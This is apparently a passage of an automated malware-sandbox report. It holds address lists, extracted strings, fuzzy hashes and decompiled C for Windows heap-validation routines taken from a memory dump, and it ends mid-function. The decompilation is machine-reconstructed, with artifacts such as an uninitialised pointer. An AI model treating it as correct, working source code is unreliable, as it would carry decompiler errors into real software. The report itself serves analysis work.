0x01374c2c
0x01374c2e
0x01374d91
0x01374d91
0x01374d92
0x01374d97
0x01374d9e
0x00000000
0x01374d9e
0x01374c34
0x01374c37
0x01374c39
0x01374c3c
0x00000000
0x00000000
0x01374c45
0x01374c48
0x01374c4e
0x01374c50
0x01374c78
0x01374c78
0x01374c7b
0x01374c7d
0x01374c80
0x01374c84
0x01374cad
0x01374cad
0x01374cb0
0x01374cb8
0x01374cbb
0x01374cbe
0x01374cc1
0x01374cc7
0x01374cdc
0x01374cc9
0x01374cd2
0x01374cd4
0x01374cd4
0x01374cde
0x01374ce0
0x01374d13
0x01374d13
0x01374d16
0x01374d18
0x01374d29
0x01374d2a
0x01374d2c
0x01374d34
0x01374d1a
0x01374d1a
0x01374d1a
0x01374d1d
0x01374d1f
0x01374d22
0x01374d24
0x01374d24
0x01374d3c
0x01374d3f
0x01374d45
0x01374d47
0x01374d6c
0x01374d6c
0x01374d70
0x01374d7e
0x01374d84
0x01374d84
0x00000000
0x01374d49
0x01374d49
0x01374d56
0x01374d56
0x01374d59
0x00000000
0x00000000
0x01374d4e
0x01374d50
0x01374d52
0x01374d8e
0x01374d5d
0x01374d5f
0x01374d67
0x00000000
0x01374d67
0x01374d54
0x01374d54
0x01374d5b
0x00000000
0x01374d5b
0x01374ce2
0x01374ce2
0x01374ce5
0x01374ce5
0x01374ce7
0x01374cfb
0x01374ce9
0x01374ce9
0x01374cec
0x01374cef
0x01374cf1
0x01374cf3
0x01374cf3
0x01374cf3
0x01374cf6
0x01374cf6
0x01374d02
0x01374d05
0x00000000
0x00000000
0x01374d07
0x01374d0f
0x01374d11
0x00000000
0x00000000
0x00000000
0x01374d11
0x00000000
0x01374ce5
0x01374ce0
0x01374c8a
0x01374c8f
0x01374c91
0x00000000
0x00000000
0x01374c9d
0x00000000
0x01374c9d
0x01374c52
0x01374c5f
0x01374c5f
0x01374c62
0x00000000
0x00000000
0x01374c57
0x01374c59
0x01374c5b
0x01374caa
0x01374c66
0x01374c68
0x01374c70
0x01374c75
0x00000000
0x01374c75
0x01374c5d
0x01374c5d
0x01374c64
0x00000000
0x01374c64
0x01374c17
0x01374b75
0x01374bc4
0x01374bc8
0x00000000
0x00000000
0x01374bd9
0x00000000
0x00000000
0x00000000
0x01374b77
0x01374b7a
0x01374b8c
0x01374b7c
0x01374b7e
0x01374b83
0x01374b86
0x01374b86
0x01374b90
0x01374b93
0x00000000
0x00000000
0x01374b95
0x01374bab
0x01374bb0
0x00000000
0x00000000
0x01374bb2
0x01374bb9
0x00000000
0x00000000
0x01374bbb
0x01374bbe
0x01374bc1
0x01374bc1
0x00000000
0x01374bc1
0x01374b97
0x01374ba4
0x00000000
0x00000000
0x01374ba6
0x00000000
0x01374ba6
0x01374ea9
0x01374ea9
0x01374eb2
0x00000000

Strings

HEAP: , xrefs: 01374F1A, 01374F6A, 01374FC7, 0137502A, 0137506E, 013750B6, 01375107
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 0137508C
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 013750C6
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 01375119
HEAP[%wZ]: , xrefs: 01374EE1, 01374F0D, 01374F5D, 01374FBA, 0137501D, 01375061, 013750FA
Heap block at %p is not last block in segment (%p), xrefs: 01374FD6
Free Heap block %p modified at %p after it was freed, xrefs: 01374F2F
Heap block at %p has incorrect segment offset (%x), xrefs: 0137503B
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 01374F81

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: 0bdd1a6c6cde7bab35786a9234d68fb33255aca5cef41a91b8d1749521e1b2aa
Instruction ID: b7dcd24938677dca33798dc22130b3607f6f1bbe3e9d1ce14cb2aa0acbd2f891
Opcode Fuzzy Hash: 0bdd1a6c6cde7bab35786a9234d68fb33255aca5cef41a91b8d1749521e1b2aa
Instruction Fuzzy Hash: 1712BE30210646DFDB39CF69C495BBABBE5FF48718F148459E48A8B642D778F880CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01374496, Relevance: 10.4, Strings: 8, Instructions: 417
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E01374496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E013749A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x13a6378 = _t267;
						asm("int3");
						 *0x13a6378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E012E174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E012BB150();
							} else {
								E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E012BB150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E012BB150();
							} else {
								E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E012BB150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x13a6350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E012F9660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E012E174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E012BB150();
										} else {
											E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_t148 = _t330 + 0x10; // 0x10
										_push( *((intOrPtr*)(_t330 + 8)));
										E012BB150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E012BB150();
									} else {
										E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E012BB150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E012BB150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E012BB150();
							} else {
								E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E01374AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E0136FA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E013623E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x013744a1
0x013744a3
0x013744a7
0x013744ac
0x013744af
0x013744b2
0x013744b9
0x013744bc
0x013747f2
0x013747f2
0x013747f8
0x013747fc
0x013747fe
0x01374804
0x01374805
0x01374805
0x0137480c
0x01374810
0x01374812
0x01374812
0x01374812
0x01374822
0x01374822
0x01374827
0x01374827
0x00000000
0x01374827
0x013744c4
0x013744d3
0x013744d9
0x013744dc
0x013744de
0x013744e0
0x01374560
0x01374520
0x01374522
0x01374525
0x01374528
0x0137452b
0x0137452e
0x01374530
0x01374697
0x0137469d
0x013746a1
0x013746c0
0x013746c5
0x013746a3
0x013746b8
0x013746bd
0x013746cb
0x013746d4
0x01374677
0x01374677
0x01374679
0x0137467c
0x0137468a
0x01374690
0x01374690
0x013747f1
0x013747f1
0x013747f1
0x00000000
0x013747f1
0x01374536
0x01374539
0x0137453c
0x01374636
0x0137463c
0x01374640
0x0137465f
0x01374664
0x01374642
0x01374657
0x0137465c
0x01374670
0x00000000
0x01374542
0x01374542
0x01374546
0x01374548
0x0137454b
0x01374555
0x0137455b
0x0137455b
0x0137455b
0x0137455d
0x0137455d
0x0137455d
0x00000000
0x0137455d
0x0137453c
0x01374579
0x0137457c
0x01374587
0x01374589
0x01374591
0x01374592
0x01374597
0x01374598
0x013745a1
0x013745ab
0x013745ab
0x013745a1
0x013745ae
0x013745b4
0x013745b9
0x013745bd
0x01374759
0x01374759
0x0137475f
0x01374761
0x01374763
0x01374765
0x01374768
0x0137476b
0x0137476d
0x0137479c
0x0137479c
0x0137479f
0x013747a2
0x013747a4
0x01374830
0x01374833
0x01374879
0x0137487d
0x013748f1
0x013748f3
0x013748f3
0x00000000
0x013748f3
0x0137487f
0x01374885
0x01374887
0x013748a8
0x013748a8
0x013748ae
0x013748b0
0x013748dc
0x013748dc
0x013748dc
0x013748dc
0x013748ec
0x00000000
0x013748ec
0x013748b2
0x013748bc
0x013748be
0x013748c1
0x00000000
0x00000000
0x00000000
0x00000000
0x013748c3
0x013748c3
0x013748c6
0x013748c9
0x013748cc
0x013748d1
0x013748d4
0x00000000
0x00000000
0x013748d6
0x013748d7
0x013748da
0x00000000
0x00000000
0x00000000
0x013748da
0x0137494f
0x01374955
0x01374959
0x01374978
0x0137497d
0x0137495b
0x01374970
0x01374975
0x01374986
0x01374987
0x0137498a
0x0137498d
0x01374997
0x013747ef
0x013747ef
0x013747ef
0x00000000
0x013747ef
0x01374890
0x01374890
0x01374891
0x01374891
0x01374894
0x01374897
0x0137489d
0x013748a0
0x00000000
0x00000000
0x013748a2
0x013748a3
0x013748a6
0x00000000
0x00000000
0x00000000
0x013748a6
0x013748fb
0x01374901
0x01374905
0x01374924
0x01374929
0x01374907
0x0137491c
0x01374921
0x0137492f
0x01374935
0x01374936
0x01374939
0x01374942
0x00000000
0x01374947
0x01374835
0x0137483b
0x0137483f
0x0137485e
0x01374863
0x01374841
0x01374856
0x0137485b
0x01374869
0x0137486c
0x0137486f
0x013747e7
0x013747e7
0x00000000
0x013747ec
0x013747aa
0x013747b0
0x013747b4
0x013747d3
0x013747d8
0x013747b6
0x013747cb
0x013747d0
0x013747de
0x013747df
0x013747e2
0x00000000
0x00000000
0x00000000
0x00000000
0x0137476f
0x0137476f
0x01374778
0x01374785
0x01374787
0x0137478c
0x0137478e
0x00000000
0x00000000
0x01374790
0x01374792
0x01374794
0x00000000
0x00000000
0x01374796
0x01374799
0x00000000
0x01374799
0x00000000
0x013745c3
0x013745c3
0x013745c7
0x013745c7
0x013745ca
0x013745cf
0x013745d3
0x013745df
0x013745e4
0x013745e6
0x013745e8
0x013745ed
0x013745ed
0x013745f2
0x013745f2
0x013745f7
0x013745fc
0x01374602
0x01374606
0x01374609
0x0137460f
0x013746de
0x013746e3
0x013746e5
0x013746ec
0x013746ee
0x013746f6
0x013746f6
0x013746f6
0x013746f6
0x013746ec
0x01374615
0x01374615
0x0137461d
0x0137462e
0x0137462e
0x0137461d
0x0137460f
0x01374609
0x013746fd
0x00000000
0x00000000
0x01374710
0x0137471a
0x01374720
0x01374720
0x01374722
0x0137472c
0x00000000
0x0137472e
0x0137472e
0x00000000
0x0137472e
0x0137472c
0x01374738
0x0137473c
0x0137474b
0x01374751
0x01374751
0x00000000
0x0137473c
0x013748f4
0x013748f4
0x00000000
0x013748f4

Strings

Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 013747E2
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 0137486F
HEAP: , xrefs: 0137465F, 013746C0, 013747D3, 0137485E, 01374924, 01374978
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 01374992
Non-Dedicated free list element %p is out of order, xrefs: 0137466B
HEAP[%wZ]: , xrefs: 01374652, 013746B3, 013747C6, 01374851, 01374917, 0137496B
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 0137493D
dedicated (%04Ix) free list element %p is marked busy, xrefs: 013746CF

Memory Dump Source

Source File: 00000001.00000002.722744884.0000000001290000.00000040.00000001.sdmp, Offset: 01290000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 0-1357697941
Opcode ID: 461e43458081b9d0dab24c9ffa249d7f7ace1d3072a7298b6b6ccd1a4cc307b7
Instruction ID: 462adc31472fb32425330431d34c9a3525bf6bbb2ddc80880aa93d84835bda1c
Opcode Fuzzy Hash: 461e43458081b9d0dab24c9ffa249d7f7ace1d3072a7298b6b6ccd1a4cc307b7
Instruction Fuzzy Hash: C6F1003162068AEFDB25CF69C480BBAFBF9FF09718F048029E15697641D738B985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 012DA309, Relevance: 8.2, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E012DA309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x13a8a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E012DA830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E012DDF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E012B9373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E012BA9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x13a8748 - 1;
						if( *0x13a8748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E012BB150();
								} else {
									E012BB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E012BB150();
								__eflags =  *0x13a7bc8;
								if( *0x13a7bc8 == 0) {
									__eflags = 1;
									E01372073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x13a8748 - 1;
							if( *0x13a8748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E012E174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E012D7D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E013714FB(_t447, _t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E012B9373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E012B9819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x13a8748 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
